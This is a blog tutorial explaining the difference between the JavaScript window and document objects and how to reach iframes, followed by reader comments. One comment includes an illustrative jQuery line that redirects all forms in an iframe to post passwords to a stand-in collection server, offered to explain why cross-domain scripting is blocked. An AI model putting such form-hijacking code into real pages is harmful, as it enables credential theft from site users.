JQuery

What is the difference between document and window objects?

TAGs: 16 Comment

Posted By: eligeske on in JQuery

There seems to be a lot of misconceptions on the difference between the document and window objects for javascript.

WINDOW object and DOCUMENT object ARE NOT THE SAME!!!!!

I have set out to clarify this for you in the most visual manor as possible.

So, what is the difference between the document object and window object you ask? Good question.

Javascript Window Object with Document Loaded

Javascript Window Object with Document Loaded

Well, the window is the first thing that gets loaded into the browser. This window object has the majority of the properties like length, innerWidth, innerHeight, name, if it has been closed, its parents, and more.

What about the document object then?

The document object is your html, aspx, php, or other document that will be loaded into the browser. The document actually gets loaded inside the window object and has properties available to it like title, URL, cookie, etc. What does this really mean? That means if you want to access a property for the window it is window.property, if it is document it is window.document.property which is also available in short as document.property.

That seems simple enough. But what happens once an IFRAME is introduced? Uh oh… frameage.

An iframe actually is considered as a new window with its own document loaded into it. Here is where it may seem a little odd, but does make sense if you think about it. The original, parent window, is responsible for other windows to be loaded, not the document.

javascript_dom2

Javascript Window Object with Iframe

The property to access a frame is window.frames[], which is an array of all the frames. If you only have one iframe you access it by using window.frames[0]. Since the iframe is also a window object, accessing window properties of that frame is done by using window.frames[0].mywindowproperty.

Here is a link to the list of properties:

Window object properties.

Document object properties

This was just a quick clarification on how the window and document objects are used. When there is an understanding of it then programming becomes a little easier.

Thanks for reading!

16 Responses to "What is the difference between document and window objects?"

"SHARING IS CARING"
  1. James Strong says:

    Hey man, would you happen to be the eli geske that was working on gametube.tv ages ago?

    It’s Xdax.

  2. That helped me alot! i was trying to reach the iframes loaded. Thank you

  3. Ishrat says:

    Thanks you very much eligeske. This article is quite useful. Again thanks

  4. Little note about the iframe that can save you lot of time. To access the interior of an iframe context / dom / javascript you need to use the contentWindow property.

    Example to call some javascript inside and iframe you can simply do:
    $(‘#myframe’)[0].contentWindow.$(‘someSelector’).someAction();

    Or without jQuery
    document.getElementById(‘myframe’).contentWindow.alert(‘I am an alert in the iframe’);
    ——————————
    On the other side if you are trying to run some javascript in the main window FROM the iframe, you can simply do :
    parent.$(‘somemainWindowElement’).someAction();
    **** ******
    Please not that cross domain (from 1 domain to the other) frame scripting will not work in regular setup. REason is obvious: it would create a security hole and an easy way to hack with fishing techniques. Imagine the simple dummy hack scenario

    // Set all the form to post their password to my server.
    $(‘#fishnet’)[0].contentWindow.$(‘form’).each(function(){this.setAttributes(‘action’,'http://myserverthatcollectspassword.com/collect’);})

    Ps. Dont try this, it will not work. ;)

  5. PrAVEEN says:

    I LIKE EXPLANATION ON THE WINDOW AND DOCUMENT OBJECT IN ELEGANT WAY BY TAKING THE EXAMPLE

  6. Sanjeev says:

    Excellent explanation. Kudos. Helped a lot.

  7. venky says:

    Thank you ,…… It helped me in understanding the difference between Window and document objects……

  8. this is very good example thank you very much

  9. jyothi says:

    Helped a lot. Thaks

  10. Rakshitha says:

    Thank you so much for the information. Got a question in interview but cud not answer there.. now i am clear about the topic.

  11. Ashwini says:

    Hi,

    This makes me to clear my concept about document & window.

    Thank you very much.
    :-)

  12. rammon says:

    that really helped,,,,,,thank you

  13. Rajeshwari says:

    Superb…
    Thanks.

  14. Nishant says:

    Excellent explanation. Thanks a lot.

    One more thing I would like to ask you is, can we get iframe object inside from iFrame. It is as good as accessing parent property from child. I know it is bit weird, but just wanted to know whether this is possible?

  15. eligeske says:

    Hi Nishant,

    If I understand you correctly, you would like to access the iframe’s window or document object from inside itself. For example if you loaded a url into the iframe that had some script in it.

    The iframe acts as if it were a stand alone window and can access itself’s properties as such.

    If you mean that you would like to get the iframe object from the iframe itself, you can try this little example from inside the iframe:

    $(function(){
    $(window.parent.frames[0].document).find('body').html('hello');
    });

  16. Pingback: Paul Irish – Things I learned from jQuery source | quizzicol

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Learning DHTMLX Suite UI

Learn the foundation of the DHTMLX Suite quickly while building a single page application with multiple components in harmony.

Popular post